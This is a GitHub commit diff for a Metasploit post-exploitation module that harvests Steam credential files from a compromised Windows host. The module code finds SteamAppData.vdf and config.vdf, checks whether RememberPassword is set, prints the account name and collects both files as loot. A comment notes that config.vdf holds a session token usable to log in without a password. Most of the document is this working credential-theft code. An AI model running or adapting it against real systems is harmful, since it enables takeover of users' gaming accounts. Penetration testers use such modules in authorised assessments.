Skip to content

Commit f7cf750

Browse files
committed
Cleanup and use Post::File api. Use store_loot for data collection
1 parent 462766a commit f7cf750

File tree

1 file changed

+28
-53
lines changed
  • modules/post/windows/gather/credentials

1 file changed

+28
-53
lines changed

modules/post/windows/gather/credentials/steam.rb

Lines changed: 28 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@
2828
class Metasploit3 < Msf::Post
2929

3030
include Msf::Post::File
31+
include Msf::Auxiliary::Report
3132

3233
def initialize(info={})
3334
super( update_info(info,
@@ -36,75 +37,49 @@ def initialize(info={})
3637
account set to autologin. },
3738
'License' => MSF_LICENSE,
3839
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
39-
'Version' => '$Revision: 00001 $',
4040
'Platform' => ['win'],
4141
'SessionTypes' => ['meterpreter' ]
4242
))
43-
register_options(
44-
[
45-
OptPath.new('OUTPUT_FOLDER', [false, 'Where to dump the config files for use with
46-
steam. (if not specified it is printed to the screen)'])
47-
], self.class)
48-
4943
end
5044

5145
def run
52-
drive = session.fs.file.expand_path('%SystemDrive%')
46+
drive = expand_path('%SystemDrive%')
5347
steamappdata = 'SteamAppData.vdf'
5448
steamconfig = 'config.vdf'
5549
u_rx = /AutoLoginUser\W*\"(.*)\"/
5650

57-
case session.sys.config.sysinfo['Architecture']
58-
when /x64/
59-
progs = drive + '\\Program Files (x86)\\'
60-
when /x86/
61-
progs = drive + '\\Program Files\\'
51+
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
52+
# the correct program files folder.
53+
# We will just use an x64 only defined env variable to check.
54+
if not expand_path('%ProgramFiles(X86)%').empty?
55+
progs = drive + '\\Program Files (x86)' #x64
56+
else
57+
progs = drive + '\\Program Files' #x86
6258
end
63-
path = progs + 'Steam\\config\\'
59+
path = progs + '\\Steam\\config\\'
6460

65-
print_status("Checking for Steam in: #{path}")
61+
print_status("Checking for Steam configs in #{path}")
6662

67-
begin
68-
session.fs.dir.entries(path)
69-
rescue ::Exception => e
70-
print_error(e.to_s)
63+
# Check if all the files are there.
64+
# I know the path[0..-2] is ugly but directory? does not permit trailing slashes.
65+
if directory?(path[0..-2]) && file?(path+steamappdata) && file?(path+steamconfig)
66+
print_status("Located steam config files.")
67+
sad = read_file(path+steamappdata)
68+
if sad =~ /RememberPassword\W*\"1\"/
69+
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
70+
scd = read_file(path+steamconfig)
71+
store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
72+
store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
73+
print_status("Steam configs harvested successfully!")
74+
else
75+
print_error("RememberPassword is not set, exiting.")
76+
return
77+
end
78+
else
79+
print_error("Steam configs not found.")
7180
return
7281
end
7382

74-
session.fs.dir.foreach(path) do |fdir|
75-
# SteamAppData.vdf contains the autologin and rememberpassword
76-
if fdir.eql? 'SteamAppData.vdf'
77-
print_status("Found SteamAppData, checking for RememberPassword=1.")
78-
sad = session.fs.file.open(path + steamappdata)
79-
sad_d = sad.read()
80-
sad.close()
81-
if sad_d =~ /RememberPassword\W*\"1\"/
82-
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad_d)[1]}")
83-
end
84-
# config.vdf contains most importantly the ConnectCache K,V which appears to be
85-
# a session id that can be used to login to the account without credentials.
86-
scd = session.fs.file.open(path + steamconfig)
87-
scd_d = scd.read()
88-
scd.close()
89-
# If output folder is set, dump data there
90-
if datastore['OUTPUT_FOLDER']
91-
f = ::File.open(datastore['OUTPUT_FOLDER'] + '/config.vdf', 'wb')
92-
f.write(scd_d)
93-
f.close()
94-
f = ::File.open(datastore['OUTPUT_FOLDER'] + '/SteamAppData.vdf' ,'wb')
95-
f.write(sad_d)
96-
f.close()
97-
print_status("Files dumped to #{datastore['OUTPUT_FOLDER']}")
98-
# No output folder just dump config.vdf to the screen
99-
else
100-
print_line(scd_d)
101-
print_status("config.vdf dumped.")
102-
end
103-
return true
104-
end
105-
end
106-
print_status("Could not find steam config files.")
107-
return nil
10883
end
10984

11085
end

0 commit comments

Comments
 (0)